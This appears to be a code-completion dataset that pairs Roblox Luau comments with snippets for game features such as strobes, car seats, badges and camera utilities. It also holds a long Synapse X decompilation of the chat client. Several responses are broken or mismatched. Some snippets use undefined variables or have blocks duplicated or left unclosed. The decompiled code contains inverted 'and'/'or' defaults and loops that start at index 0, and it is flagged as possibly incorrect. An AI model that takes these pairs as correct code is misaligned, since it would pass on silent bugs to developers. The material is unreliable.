Prompt:
-- True ...... Synchronized
-- False ..... Free Run

Response:
val2 = script.Parent.Parent.Parent.Parent.VisualCircuit
strobe = script.Parent.Parent.Strobe
salarm = false

if candela == 0 then
	strobe.Flasher.Size = UDim2.new(2,0,3,0)
elseif candela == 1 then
	strobe.Flasher.Size = UDim2.new(3,0,4,0)
elseif candela == 2 then
	strobe.Flasher.Size = UDim2.new(4,0,5,0)
elseif candela == 3 then
	strobe.Flasher.Size = UDim2.new(5.5,0,6.5,0)
end

function Flash()
strobe.BrickColor = BrickColor.new(1001)
strobe.Flasher.Strobe.Visible = true
strobe.Light.Enabled = true
wait(0.06)
strobe.BrickColor = BrickColor.new(194)
strobe.Flasher.Strobe.Visible = false
strobe.Light.Enabled = false
end

sval = math.random(85,95)/100

function PowerStrobe()
	if salarm then return end
	salarm = true
	wait(sval)
	while val2.Value == 1 do
	Flash()
	wait(sval)
	end
	salarm = false
end

if strobesync then
val2.Changed:connect(function() if val2.Value == 1 then Flash() end end)
else
val2.Changed:connect(function() if val2.Value == 1 then PowerStrobe() end end)
end


Prompt: -- canonicalize an angle to +-180 degrees

Response:
function CameraUtils.sanitizeAngle(a)
	return (a + math.pi)%(2*math.pi) - math.pi
end


Prompt: -- For AwardBadge

Response:
function module.applyBadgeFunction(badgeId: number, func: badgeFunction): boolean?
	if Functions.badges[badgeId] then return true end
	local success, errorMessage, badgeInfo

	success, errorMessage = pcall(function()
		badgeInfo = BadgeService:GetBadgeInfoAsync(badgeId)
	end)

	assert(badgeInfo, `BadgeService error: {errorMessage}`)
	if not badgeInfo.IsEnabled then return nil end

	Functions.badges[badgeId] = func

	return true
end


Prompt:
--[[
	Creates a new EmoteManager which handles adding emotes to each player's
	HumanoidDescription and keeping those emotes up to date when anything
	changes.

	Returns:
	An EmoteManager instance
]]

Response:
function EmoteManager.new()
	local self = {
		playerOwnedEmotes = {},
		playerEmoteConfig = {},
		MarketplaceService = game:GetService("MarketplaceService"),
		updatedPlayerEmotes = Instance.new("BindableEvent"),
		remotes = { sendUpdatedEmotes = sendUpdatedEmotes },
	}

	setmetatable(self, EmoteManager)

	return self
end


Prompt:
---------------------------
--Seat Offset (Make copies of this block for passenger seats)

Response:
car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)
	end
end)

car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)
	end
end)


Prompt: --//seats

Response:
local hd = Instance.new("Motor", script.Parent.Parent.Misc.HD.SS)
hd.MaxVelocity = 0.03
hd.Part0 = script.Parent.HD
hd.Part1 = hd.Parent

fl.MaxVelocity = 0.03
fl.Part0 = script.Parent.FL
fl.Part1 = fl.Parent

fr.MaxVelocity = 0.03
fr.Part0 = script.Parent.FR
fr.Part1 = fr.Parent


Prompt: --This will apply your settings to the player. Don't change what's below.

Response:
game.Players.PlayerAdded:Connect(function(player)
	player.CharacterAdded:Connect(function(char)
		if defaultOwnerOverride == false then
			print("Default Owner Override is not active. The Owner Title will automatically be given to the place's owner. Change the setting in the READ ME script if you wish to toggle this.")
			if game.CreatorType == Enum.CreatorType.User then
				playername = game.Players:GetNameFromUserIdAsync(game.CreatorId)
			else
				local groupOwnerName = game:GetService("GroupService"):GetGroupInfoAsync(game.CreatorId).Owner.Name
				playername = groupOwnerName
			end
		else
			print("Default Owner Override is active. The Owner Title will be given to the name specified in the READ ME script inside of the Owner TItle by bendarobloxian model. Change the setting in the READ ME script if you wish to toggle this.")
		end
		if player.Name == playername then
			local newgui = billboard:Clone()
			newgui.Parent = char.Head
			local txtColor
			if dynamicRainbow == true then
				txtColor = Color3.new(1,1,1)
				newgui.TextLabel.dynamicRainbow.Disabled = false
			elseif stillRainbow == true then
				txtColor = Color3.new(1,1,1)
				local newGrad = script.UIGradient:Clone()
				newGrad.Parent = newgui.TextLabel
			else
				txtColor = Color3.fromRGB(redV, greenV, blueV)
			end
			newgui.TextLabel.TextColor3 = txtColor
			newgui.TextLabel.Text = text
		end
	end)
end)


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 1 -- cooldown for use of the tool again

ZoneModelName = "Homing axe" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt: -- DO NOT EDIT ANYTHING HERE (unless you are willing to risk the plane breaking)

Response: wait(0.1)	-- Yes, this is needed. If it's not here, the plane will only work once.


Prompt: --WRITE YOUR ABILITIES HERE--

Response: hum.WalkSpeed = 50


Prompt:
--[[
Creating a command module:
1) Create a new module inside the CommandModules folder.
2) Create a function that takes a message, the ChatWindow object and the ChatSettings and returns
a bool command processed.
3) Return this function from the module.
--]]

Response:
local clientChatModules = script.Parent.Parent
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))

local COMMAND_MODULES_VERSION = 1

local KEY_COMMAND_PROCESSOR_TYPE = "ProcessorType"
local KEY_PROCESSOR_FUNCTION = "ProcessorFunction"


Prompt:
--script.Parent.ChargeCircle.Enabled = true
--script.Parent.ChargeCircle2.Enabled = true

Response:
script.Parent.ring.Enabled = true
script.Parent.Activate2.Enabled = true
script.Parent.Attachment.Flare.Enabled = true

shock = Instance.new("Part")
shock.CanCollide = false
shock.Anchored = true
shock.Rotation=Vector3.new(90,0,90)
shock.Name = "SHOCKWAVE"
shock.Transparency = 0.2
shock.BrickColor = BrickColor.new("New Yeller")
shock.formFactor = "Custom"
shock.TopSurface = 0
shock.BottomSurface = 0
shock.Material = "Neon"
shock.CastShadow = false
script.Mesh0:clone().Parent = shock
local erase0 = script.Fade0:clone()
erase0.Parent = shock
erase0.Disabled = false
shock.Parent = game.Workspace
shock.Position=script.Parent.Position

puff = Instance.new("Part")
script.Parent.Anchored=true
puff.CanCollide = false
puff.Anchored = true
puff.Name = "hi lol"
puff.Transparency = 0.2
puff.BrickColor = BrickColor.new("Lily white")
puff.formFactor = "Custom"
puff.TopSurface = 0
puff.BottomSurface = 0
puff.Size = Vector3.new(3,3,3)
puff.Material = Enum.Material.Neon
puff.CastShadow = false
script.Mesh:clone().Parent = puff
local erase = script.FadeEx:clone()
erase.Parent = puff
erase.Disabled = false
puff.Parent = game.Workspace
puff.Position = script.Parent.Position
puff.CastShadow = false


Prompt: -- Tables

Response:
local function CopyTable(T)
	local t2 = {}
	for k,v in pairs(T) do
		t2[k] = v
	end
	return t2
end

local function SortTable(T)
	table.sort(T,
		function(x,y) return x.Name < y.Name
		end)
end


Prompt:
--[[
	Encapsulates logic to apply art onto a single spot owned by the user.

	Parameters:
	- spotId (string): ID of spot to apply art to
	- artId (string): art ID to apply for the spot
]]

Response:
function PlayerSpots:applyArt(player, spotId, artId)
	local placedSpot = nil
	for _, value in ipairs(self.placedSpots) do
		if value.spot.id == spotId then
			placedSpot = value
			break
		end
	end

	if not placedSpot then
		return false, constants.Errors.SpotNotFound
	end

	-- Remove old art
	if self.toRemove then
		local placedSpotToRemove = self.placedSpots[self.toRemove]
		placedSpotToRemove.spot:removeArt()
		self.toRemove = nil
	end

	placedSpot.spot:applyArt(player, artId)

	return true, nil
end


Prompt: --- Sets whether or not the console is enabled

Response:
function Cmdr:SetEnabled (enabled)
	if self.Interface == nil then
		self.Interface = Interface
	end
	self.Enabled = enabled
end


Prompt:
--//Created by PlaasBoer
--Version 3.2.0
--If you find a bug comment on my video for Zed's tycoon save
--Link to my channel
--[[
	https://www.youtube.com/channel/UCHIypUw5-7noRfLJjczdsqw
]]

Response:
--

local tycoonsFolder = script.Parent:WaitForChild("Tycoons")
local tycoons = tycoonsFolder:GetChildren()


Prompt: --THX for using my good Anti-Lag script! Garunteed to work unless your place has SUPER lag!

Response:
mx = game.Debris
mx2 = game.Debris.MaxItems --This lets the script find out how much debris there is.

if (mx.MaxItems > 50000) then
	mx.MaxItems = mx2*.75 --This makes it delete the debris every 100 items.


Prompt: -- Load the near-field character transparency controller and the mouse lock "shift lock" controller

Response:
local TransparencyController = require(script:WaitForChild("TransparencyController"))
local MouseLockController = require(script:WaitForChild("MouseLockController"))


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
return function(p1, p2, p3)
	return p1[p3].Offset / p2.AbsoluteSize[p3] + p1[p3].Scale;
end;


Prompt:
--[[
	Poppercam - Occlusion module that brings the camera closer to the subject when objects are blocking the view.
--]]

Response:
local ZoomController =  require(script.Parent:WaitForChild("ZoomController"))

local TransformExtrapolator = {} do
	TransformExtrapolator.__index = TransformExtrapolator

	local CF_IDENTITY = CFrame.new()

	local function cframeToAxis(cframe: CFrame): Vector3
		local axis: Vector3, angle: number = cframe:toAxisAngle()
		return axis*angle
	end

	local function axisToCFrame(axis: Vector3): CFrame
		local angle: number = axis.magnitude
		if angle > 1e-5 then
			return CFrame.fromAxisAngle(axis, angle)
		end
		return CF_IDENTITY
	end

	local function extractRotation(cf: CFrame): CFrame
		local _, _, _, xx, yx, zx, xy, yy, zy, xz, yz, zz = cf:components()
		return CFrame.new(0, 0, 0, xx, yx, zx, xy, yy, zy, xz, yz, zz)
	end

	function TransformExtrapolator.new()
		return setmetatable({
			lastCFrame = nil,
		}, TransformExtrapolator)
	end

	function TransformExtrapolator:Step(dt: number, currentCFrame: CFrame)
		local lastCFrame = self.lastCFrame or currentCFrame
		self.lastCFrame = currentCFrame

		local currentPos = currentCFrame.Position
		local currentRot = extractRotation(currentCFrame)

		local lastPos = lastCFrame.p
		local lastRot = extractRotation(lastCFrame)

		-- Estimate velocities from the delta between now and the last frame
		-- This estimation can be a little noisy.
		local dp = (currentPos - lastPos)/dt
		local dr = cframeToAxis(currentRot*lastRot:inverse())/dt

		local function extrapolate(t)
			local p = dp*t + currentPos
			local r = axisToCFrame(dr*t)*currentRot
			return r + p
		end

		return {
			extrapolate = extrapolate,
			posVelocity = dp,
			rotVelocity = dr,
		}
	end

	function TransformExtrapolator:Reset()
		self.lastCFrame = nil
	end
end


Prompt:
--[[VARIABLE DEFINITION ANOMALY DETECTED, DECOMPILATION OUTPUT POTENTIALLY INCORRECT]]--
-- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = false;
local v2, v3 = pcall(function()
	return UserSettings():IsUserFeatureEnabled("UserHandleChatHotKeyWithContextActionService");
end);
if v2 then
	v1 = v3;
end;
local l__RunService__4 = game:GetService("RunService");
local l__ReplicatedStorage__5 = game:GetService("ReplicatedStorage");
local l__Chat__6 = game:GetService("Chat");
local l__StarterGui__7 = game:GetService("StarterGui");
local l__ContextActionService__8 = game:GetService("ContextActionService");
local v9 = l__ReplicatedStorage__5:WaitForChild("DefaultChatSystemChatEvents");
local v10 = l__ReplicatedStorage__5:WaitForChild("DefaultChatSystemChatEvents");
local l__ClientChatModules__11 = l__Chat__6:WaitForChild("ClientChatModules");
local v12 = require(l__ClientChatModules__11:WaitForChild("ChatConstants"));
local v13 = require(l__ClientChatModules__11:WaitForChild("ChatSettings"));
local v14 = require(l__ClientChatModules__11:WaitForChild("MessageCreatorModules"):WaitForChild("Util"));
local u1 = nil;
pcall(function()
	u1 = require(game:GetService("Chat").ClientChatModules.ChatLocalization);
end);
if u1 == nil then
	u1 = {
		Get = function(p1, p2, p3)
			return p3;
		end
	};
end;
local v15 = Instance.new("BindableEvent");
local u2 = {
	OnNewMessage = "RemoteEvent",
	OnMessageDoneFiltering = "RemoteEvent",
	OnNewSystemMessage = "RemoteEvent",
	OnChannelJoined = "RemoteEvent",
	OnChannelLeft = "RemoteEvent",
	OnMuted = "RemoteEvent",
	OnUnmuted = "RemoteEvent",
	OnMainChannelSet = "RemoteEvent",
	SayMessageRequest = "RemoteEvent",
	GetInitDataRequest = "RemoteFunction"
};
local u3 = {};
local u4 = 10;
function TryRemoveChildWithVerifyingIsCorrectType(p4)
	if u2[p4.Name] then
		if p4:IsA(u2[p4.Name]) then
			u2[p4.Name] = nil;
			u3[p4.Name] = p4;
			u4 = u4 - 1;
		end;
	end;
end;
for v16, v17 in pairs(v10:GetChildren()) do
	TryRemoveChildWithVerifyingIsCorrectType(v17);
end;
if u4 > 0 then
	local v18 = v10.ChildAdded:connect(function(p5)
		TryRemoveChildWithVerifyingIsCorrectType(p5);
		if u4 < 1 then
			v15:Fire();
		end;
	end);
	v15.Event:wait();
	v18:disconnect();
	v15:Destroy();
end;
local l__UserInputService__19 = game:GetService("UserInputService");
local l__RunService__20 = game:GetService("RunService");
local l__Players__21 = game:GetService("Players");
local v22 = l__Players__21.LocalPlayer;
while not v22 do
	l__Players__21.ChildAdded:wait();
	v22 = l__Players__21.LocalPlayer;
end;
local v23 = 6;
if v13.ScreenGuiDisplayOrder ~= nil then
	v23 = v13.ScreenGuiDisplayOrder;
end;
local v24 = Instance.new("ScreenGui");
v24.Name = "Chat";
v24.ResetOnSpawn = false;
v24.DisplayOrder = v23;
v24.Parent = v22:WaitForChild("PlayerGui");
local v25 = require(script:WaitForChild("MessageLabelCreator"));
local v26 = require(script:WaitForChild("MessageLogDisplay"));
local v27 = require(script:WaitForChild("ChatChannel"));
local v28 = require(script:WaitForChild("ChatWindow")).new();
local v29 = require(script:WaitForChild("ChannelsBar")).new();
local v30 = v26.new();
local v31 = require(script:WaitForChild("CommandProcessor")).new();
local v32 = require(script:WaitForChild("ChatBar")).new(v31, v28);
v28:CreateGuiObjects(v24);
v28:RegisterChatBar(v32);
v28:RegisterChannelsBar(v29);
v28:RegisterMessageLogDisplay(v30);
v14:RegisterChatWindow(v28);
local v33 = require(script:WaitForChild("MessageSender"));
v33:RegisterSayMessageFunction(u3.SayMessageRequest);
if l__UserInputService__19.TouchEnabled then
	v32:SetTextLabelText(u1:Get("GameChat_ChatMain_ChatBarTextTouch", "Tap here to chat"));
else
	v32:SetTextLabelText(u1:Get("GameChat_ChatMain_ChatBarText", "To chat click here or press \"/\" key"));
end;
local l__script__5 = script;
spawn(function()
	local v34 = require(l__script__5:WaitForChild("CurveUtil"));
	local v35 = 1 / (v13.ChatAnimationFPS and 20);
	local v36 = tick();
	while true do
		local v37 = tick();
		local v38 = v34:DeltaTimeToTimescale(v37 - v36);
		if v38 ~= 0 then
			v28:Update(v38);
		end;
		v36 = v37;
		wait(v35);
	end;
end);
function CheckIfPointIsInSquare(p6, p7, p8)
	local v39 = false;
	if p7.X <= p6.X then
		v39 = false;
		if p6.X <= p8.X then
			v39 = false;
			if p7.Y <= p6.Y then
				v39 = p6.Y <= p8.Y;
			end;
		end;
	end;
	return v39;
end;
local u6 = 0;
local u7 = false;
local u8 = Instance.new("BindableEvent");
function DoBackgroundFadeIn(p9)
	u6 = tick();
	u7 = false;
	u8:Fire();
	v28:FadeInBackground(p9 or v13.ChatDefaultFadeDuration);
	if v28:GetCurrentChannel() then
		local l__Scroller__40 = v30.Scroller;
		l__Scroller__40.ScrollingEnabled = true;
		l__Scroller__40.ScrollBarThickness = v26.ScrollBarThickness;
	end;
end;
function DoBackgroundFadeOut(p10)
	u6 = tick();
	u7 = true;
	u8:Fire();
	v28:FadeOutBackground(p10 or v13.ChatDefaultFadeDuration);
	if v28:GetCurrentChannel() then
		local l__Scroller__41 = v30.Scroller;
		l__Scroller__41.ScrollingEnabled = false;
		l__Scroller__41.ScrollBarThickness = 0;
	end;
end;
local u9 = 0;
local u10 = false;
function DoTextFadeIn(p11)
	u9 = tick();
	u10 = false;
	u8:Fire();
	v28:FadeInText((p11 or v13.ChatDefaultFadeDuration) * 0);
end;
function DoTextFadeOut(p12)
	u9 = tick();
	u10 = true;
	u8:Fire();
	v28:FadeOutText(p12 or v13.ChatDefaultFadeDuration);
end;
function DoFadeInFromNewInformation()
	DoTextFadeIn();
	if v13.ChatShouldFadeInFromNewInformation then
		DoBackgroundFadeIn();
	end;
end;
function InstantFadeIn()
	DoBackgroundFadeIn(0);
	DoTextFadeIn(0);
end;
function InstantFadeOut()
	DoBackgroundFadeOut(0);
	DoTextFadeOut(0);
end;
local u11 = nil;
local u12 = Instance.new("BindableEvent");
function UpdateFadingForMouseState(p13)
	u11 = p13;
	u12:Fire();
	if v32:IsFocused() then
		return;
	end;
	if p13 then

	else
		DoBackgroundFadeIn();
		return;
	end;
	DoBackgroundFadeIn();
	DoTextFadeIn();
end;
local u13 = Instance.new("BindableEvent");
spawn(function()
	while true do
		l__RunService__20.RenderStepped:wait();
		while not (not u11) or not (not v32:IsFocused()) do
			if u11 then
				u12.Event:wait();
			end;
			if v32:IsFocused() then
				u13.Event:wait();
			end;
		end;
		if not u7 then
			if v13.ChatWindowBackgroundFadeOutTime < tick() - u6 then
				DoBackgroundFadeOut();
			end;
		elseif not u10 then
			if v13.ChatWindowTextFadeOutTime < tick() - u9 then
				DoTextFadeOut();
			end;
		else
			u8.Event:wait();
		end;
	end;
end);
function getClassicChatEnabled()
	if v13.ClassicChatEnabled ~= nil then
		return v13.ClassicChatEnabled;
	end;
	return l__Players__21.ClassicChat;
end;
function getBubbleChatEnabled()
	if v13.BubbleChatEnabled ~= nil then
		return v13.BubbleChatEnabled;
	end;
	return l__Players__21.BubbleChat;
end;
function bubbleChatOnly()
	return not getClassicChatEnabled() and getBubbleChatEnabled();
end;
local u14 = {};
function UpdateMousePosition(p14)
	if u14.Visible then
		if u14.IsCoreGuiEnabled then
			if not u14.TopbarEnabled then
				if not v13.ChatOnWithTopBarOff then
					return;
				end;
			end;
		else
			return;
		end;
	else
		return;
	end;
	if bubbleChatOnly() then
		return;
	end;
	local l__AbsolutePosition__42 = v28.GuiObject.AbsolutePosition;
	local v43 = CheckIfPointIsInSquare(p14, l__AbsolutePosition__42, l__AbsolutePosition__42 + v28.GuiObject.AbsoluteSize);
	if v43 ~= u11 then
		UpdateFadingForMouseState(v43);
	end;
end;
l__UserInputService__19.InputChanged:connect(function(p15, p16)
	if p15.UserInputType == Enum.UserInputType.MouseMovement then
		UpdateMousePosition((Vector2.new(p15.Position.X, p15.Position.Y)));
	end;
end);
l__UserInputService__19.TouchTap:connect(function(p17, p18)
	UpdateMousePosition(p17[1]);
end);
l__UserInputService__19.TouchMoved:connect(function(p19, p20)
	UpdateMousePosition((Vector2.new(p19.Position.X, p19.Position.Y)));
end);
l__UserInputService__19.Changed:connect(function(p21)
	if p21 == "MouseBehavior" and l__UserInputService__19.MouseBehavior == Enum.MouseBehavior.LockCenter then
		local l__AbsolutePosition__44 = v28.GuiObject.AbsolutePosition;
		if CheckIfPointIsInSquare(v24.AbsoluteSize / 2, l__AbsolutePosition__44, l__AbsolutePosition__44 + v28.GuiObject.AbsoluteSize) then
			l__UserInputService__19.MouseBehavior = Enum.MouseBehavior.Default;
		end;
	end;
end);
UpdateFadingForMouseState(true);
UpdateFadingForMouseState(false);
local v45 = {
	Signal = function()
		local v46 = {};
		local u15 = nil;
		local u16 = nil;
		local u17 = Instance.new("BindableEvent");
		function v46.fire(p22, ...)
			u15 = { ... };
			u16 = select("#", ...);
			u17:Fire();
		end;
		function v46.connect(p23, p24)
			if not p24 then
				error("connect(nil)", 2);
			end;
			return u17.Event:connect(function()
				p24(unpack(u15, 1, u16));
			end);
		end;
		function v46.wait(p25)
			u17.Event:wait();
			assert(u15, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.");
			return unpack(u15, 1, u16);
		end;
		return v46;
	end
};
function SetVisibility(p26)
	v28:SetVisible(p26);
	u14.VisibilityStateChanged:fire(p26);
	u14.Visible = p26;
	if u14.IsCoreGuiEnabled then
		if p26 then

		else
			InstantFadeOut();
			return;
		end;
	else
		return;
	end;
	InstantFadeIn();
end;
u14.TopbarEnabled = true;
u14.MessageCount = 0;
u14.Visible = true;
u14.IsCoreGuiEnabled = true;
function u14.ToggleVisibility(p27)
	SetVisibility(not v28:GetVisible());
end;
function u14.SetVisible(p28, p29)
	if v28:GetVisible() ~= p29 then
		SetVisibility(p29);
	end;
end;
function u14.FocusChatBar(p30)
	v32:CaptureFocus();
end;
function u14.EnterWhisperState(p31, p32)
	v32:EnterWhisperState(p32);
end;
function u14.GetVisibility(p33)
	return v28:GetVisible();
end;
function u14.GetMessageCount(p34)
	return p34.MessageCount;
end;
function u14.TopbarEnabledChanged(p35, p36)
	p35.TopbarEnabled = p36;
	p35.CoreGuiEnabled:fire(game:GetService("StarterGui"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat));
end;
function u14.IsFocused(p37, p38)
	return v32:IsFocused();
end;
u14.ChatBarFocusChanged = v45.Signal();
u14.VisibilityStateChanged = v45.Signal();
u14.MessagesChanged = v45.Signal();
u14.MessagePosted = v45.Signal();
u14.CoreGuiEnabled = v45.Signal();
u14.ChatMakeSystemMessageEvent = v45.Signal();
u14.ChatWindowPositionEvent = v45.Signal();
u14.ChatWindowSizeEvent = v45.Signal();
u14.ChatBarDisabledEvent = v45.Signal();
function u14.fChatWindowPosition(p39)
	return v28.GuiObject.Position;
end;
function u14.fChatWindowSize(p40)
	return v28.GuiObject.Size;
end;
function u14.fChatBarDisabled(p41)
	return not v32:GetEnabled();
end;
if v1 then
	local u18 = true;
	l__ContextActionService__8:BindAction("ToggleChat", function(p42, p43, p44)
		if p42 == "ToggleChat" and p43 == Enum.UserInputState.Begin and u18 and p44.UserInputType == Enum.UserInputType.Keyboard then
			DoChatBarFocus();
		end;
	end, true, Enum.KeyCode.Slash);
else
	local u19 = true;
	function u14.SpecialKeyPressed(p45, p46, p47)
		if p46 == Enum.SpecialKey.ChatHotkey and u19 then
			DoChatBarFocus();
		end;
	end;
end;
u14.CoreGuiEnabled:connect(function(p48)
	u14.IsCoreGuiEnabled = p48;
	p48 = p48 and (u14.TopbarEnabled or v13.ChatOnWithTopBarOff);
	v28:SetCoreGuiEnabled(p48);
	if p48 then
		InstantFadeIn();
		return;
	end;
	v32:ReleaseFocus();
	InstantFadeOut();
end);
function trimTrailingSpaces(p49)
	local v47 = #p49;
	while true do
		if 0 < v47 then

		else
			break;
		end;
		if p49:find("^%s", v47) then

		else
			break;
		end;
		v47 = v47 - 1;
	end;
	return p49:sub(1, v47);
end;
local u20 = false;
u14.ChatMakeSystemMessageEvent:connect(function(p50)
	if p50.Text and type(p50.Text) == "string" then
		while not u20 do
			wait();
		end;
		local l__GeneralChannelName__48 = v13.GeneralChannelName;
		local v49 = v28:GetChannel(l__GeneralChannelName__48);
		if v49 then
			v49:AddMessageToChannel({
				ID = -1,
				FromSpeaker = nil,
				SpeakerUserId = 0,
				OriginalChannel = l__GeneralChannelName__48,
				IsFiltered = true,
				MessageLength = string.len(p50.Text),
				MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(p50.Text)),
				Message = trimTrailingSpaces(p50.Text),
				MessageType = v12.MessageTypeSetCore,
				Time = os.time(),
				ExtraData = p50
			});
			v29:UpdateMessagePostedInChannel(l__GeneralChannelName__48);
			u14.MessageCount = u14.MessageCount + 1;
			u14.MessagesChanged:fire(u14.MessageCount);
		end;
	end;
end);
u14.ChatBarDisabledEvent:connect(function(p51)
	if u19 then
		v32:SetEnabled(not p51);
		if p51 then
			v32:ReleaseFocus();
		end;
	end;
end);
u14.ChatWindowSizeEvent:connect(function(p52)
	v28.GuiObject.Size = p52;
end);
u14.ChatWindowPositionEvent:connect(function(p53)
	v28.GuiObject.Position = p53;
end);
function DoChatBarFocus()
	if not v28:GetCoreGuiEnabled() then
		return;
	end;
	if not v32:GetEnabled() then
		return;
	end;
	if not v32:IsFocused() then
		if v32:GetVisible() then
			u14:SetVisible(true);
			InstantFadeIn();
			v32:CaptureFocus();
			u14.ChatBarFocusChanged:fire(true);
		end;
	end;
end;
u13.Event:connect(function(p54)
	u14.ChatBarFocusChanged:fire(p54);
end);
function DoSwitchCurrentChannel(p55)
	if v28:GetChannel(p55) then
		v28:SwitchCurrentChannel(p55);
	end;
end;
function SendMessageToSelfInTargetChannel(p56, p57, p58)
	local v50 = v28:GetChannel(p57);
	if v50 then
		v50:AddMessageToChannel({
			ID = -1,
			FromSpeaker = nil,
			SpeakerUserId = 0,
			OriginalChannel = p57,
			IsFiltered = true,
			MessageLength = string.len(p56),
			MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(p56)),
			Message = trimTrailingSpaces(p56),
			MessageType = v12.MessageTypeSystem,
			Time = os.time(),
			ExtraData = p58
		});
	end;
end;
function chatBarFocused()
	if not u11 then
		DoBackgroundFadeIn();
		if u10 then
			DoTextFadeIn();
		end;
	end;
	u13:Fire(true);
end;
function chatBarFocusLost(p59, p60)
	DoBackgroundFadeIn();
	u13:Fire(false);
	if p59 then
		local v51 = v32:GetTextBox().Text;
		if v32:IsInCustomState() then
			local v52 = v32:GetCustomMessage();
			if v52 then
				v51 = v52;
			end;
			local v53 = v32:CustomStateProcessCompletedMessage(v51);
			v32:ResetCustomState();
			if v53 then
				return;
			end;
		end;
		v32:GetTextBox().Text = "";
		if v51 ~= "" then
			u14.MessagePosted:fire(v51);
			if not v31:ProcessCompletedChatMessage(v51, v28) then
				local v54 = nil;
				if v13.DisallowedWhiteSpace then
					local v55 = #v13.DisallowedWhiteSpace;
					local v56 = 1 - 1;
					while true do
						if v13.DisallowedWhiteSpace[v56] == "\t" then
							v51 = string.gsub(v51, v13.DisallowedWhiteSpace[v56], " ");
						else
							v51 = string.gsub(v51, v13.DisallowedWhiteSpace[v56], "");
						end;
						if 0 <= 1 then
							if v56 < v55 then

							else
								break;
							end;
						elseif v55 < v56 then

						else
							break;
						end;
						v56 = v56 + 1;
					end;
				end;
				v54 = string.gsub(string.gsub(v51, "\n", ""), "[ ]+", " ");
				local v57 = v28:GetTargetMessageChannel();
				if v57 then
					v33:SendMessage(v54, v57);
					return;
				end;
				v33:SendMessage(v54, nil);
			end;
		end;
	end;
end;
local u21 = {};
function setupChatBarConnections()
	local v58 = #u21;
	local v59 = 1 - 1;
	while true do
		u21[v59]:Disconnect();
		if 0 <= 1 then
			if v59 < v58 then

			else
				break;
			end;
		elseif v58 < v59 then

		else
			break;
		end;
		v59 = v59 + 1;
	end;
	u21 = {};
	table.insert(u21, (v32:GetTextBox().FocusLost:connect(chatBarFocusLost)));
	table.insert(u21, (v32:GetTextBox().Focused:connect(chatBarFocused)));
end;
setupChatBarConnections();
v32.GuiObjectsChanged:connect(setupChatBarConnections);
function getEchoMessagesInGeneral()
	if v13.EchoMessagesInGeneralChannel == nil then
		return true;
	end;
	return v13.EchoMessagesInGeneralChannel;
end;
u3.OnMessageDoneFiltering.OnClientEvent:connect(function(p61)
	if not v13.ShowUserOwnFilteredMessage and p61.FromSpeaker == v22.Name then
		return;
	end;
	local l__OriginalChannel__60 = p61.OriginalChannel;
	local v61 = v28:GetChannel(l__OriginalChannel__60);
	if v61 then
		v61:UpdateMessageFiltered(p61);
	end;
	if getEchoMessagesInGeneral() and v13.GeneralChannelName and l__OriginalChannel__60 ~= v13.GeneralChannelName then
		local v62 = v28:GetChannel(v13.GeneralChannelName);
		if v62 then
			v62:UpdateMessageFiltered(p61);
		end;
	end;
end);
u3.OnNewMessage.OnClientEvent:connect(function(p62, p63)
	local v63 = v28:GetChannel(p63);
	if v63 then
		v63:AddMessageToChannel(p62);
		if p62.FromSpeaker ~= v22.Name then
			v29:UpdateMessagePostedInChannel(p63);
		end;
		if getEchoMessagesInGeneral() and v13.GeneralChannelName and p63 ~= v13.GeneralChannelName then
			local v64 = v28:GetChannel(v13.GeneralChannelName);
			if v64 then
				v64:AddMessageToChannel(p62);
			end;
		end;
		u14.MessageCount = u14.MessageCount + 1;
		u14.MessagesChanged:fire(u14.MessageCount);
		DoFadeInFromNewInformation();
	end;
end);
u3.OnNewSystemMessage.OnClientEvent:connect(function(p64, p65)
	p65 = p65 and "System";
	local v65 = v28:GetChannel(p65);
	if v65 then
		v65:AddMessageToChannel(p64);
		v29:UpdateMessagePostedInChannel(p65);
		u14.MessageCount = u14.MessageCount + 1;
		u14.MessagesChanged:fire(u14.MessageCount);
		DoFadeInFromNewInformation();
		if getEchoMessagesInGeneral() and v13.GeneralChannelName and p65 ~= v13.GeneralChannelName then
			local v66 = v28:GetChannel(v13.GeneralChannelName);
			if v66 then
				v66:AddMessageToChannel(p64);
				return;
			end;
		end;
	else
		warn(string.format("Just received system message for channel I'm not in [%s]", p65));
	end;
end);
function HandleChannelJoined(p66, p67, p68, p69, p70, p71)
	if v28:GetChannel(p66) then
		v28:RemoveChannel(p66);
	end;
	if p66 == v13.GeneralChannelName then
		u20 = true;
	end;
	if p69 then
		v32:SetChannelNameColor(p66, p69);
	end;
	local v67 = v28:AddChannel(p66);
	if v67 then
		if p66 == v13.GeneralChannelName then
			DoSwitchCurrentChannel(p66);
		end;
		if p68 then
			local v68 = 1;
			if v13.MessageHistoryLengthPerChannel < #p68 then
				v68 = #p68 - v13.MessageHistoryLengthPerChannel;
			end;
			local v69 = #p68;
			local v70 = v68 - 1;
			while true do
				v67:AddMessageToChannel(p68[v70]);
				if 0 <= 1 then
					if v70 < v69 then

					else
						break;
					end;
				elseif v69 < v70 then

				else
					break;
				end;
				v70 = v70 + 1;
			end;
			if getEchoMessagesInGeneral() then
				if p70 then
					if v13.GeneralChannelName then
						if p66 ~= v13.GeneralChannelName then
							local v71 = v28:GetChannel(v13.GeneralChannelName);
							if v71 then
								v71:AddMessagesToChannelByTimeStamp(p68, v68);
							end;
						end;
					end;
				end;
			end;
		end;
		if p67 ~= "" then
			local v72 = {
				ID = -1,
				FromSpeaker = nil,
				SpeakerUserId = 0,
				OriginalChannel = p66,
				IsFiltered = true,
				MessageLength = string.len(p67),
